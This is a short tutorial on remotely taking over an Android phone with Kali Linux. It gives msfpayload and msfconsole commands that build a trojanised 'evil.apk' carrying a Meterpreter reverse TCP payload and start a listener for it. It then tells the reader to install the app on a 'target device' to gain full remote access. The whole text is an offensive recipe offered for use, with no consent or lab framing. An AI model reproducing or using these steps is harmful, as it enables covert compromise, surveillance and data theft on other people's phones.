Hacking Android Device Remotely Using Kali Linux

Steps to Hack Android Device Remotely
When you are all set, carefully follow the below steps one by one.
step1: Open the terminal in Linux , type the below code and press enter.
:~# msfpayload android/meterpreter/reverse_tcp LHOST=youripaddress LPORT=anyport(8080 or 4444) R > evil.apk

If you don’t know your ip address, simply open another terminal and type “ifconfig” without quotes. You can see your ip address beside wlan0 it would be something like 192.168.x.x (Note: you need to do this only when you are connected to Internet).
Step2: Now the deploy application evil.apk will be automatically generated. You can find it in home folder.
Step3: Now open another terminal and type the below code.
> msfconsole
> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp
> set lhost 192.168.45.4 (the same ip address you entered in step1).
> set lport 8080 (the same port you used in step1).
> exploit
Now the console starts listening to 192.168.45.4 at port 8080.
Step5: Now all you need to do is, copy the evil.apk from home folder to the target device.
Step6: Install the evil.apk on the target device and when the device is connected to the internet open the app.
Step7: As soon as you open the app in the device, you can see the connected device in console terminal.
Step8: Now you have full access to the device from the terminal. Just type help and you will be given with all the available commands.
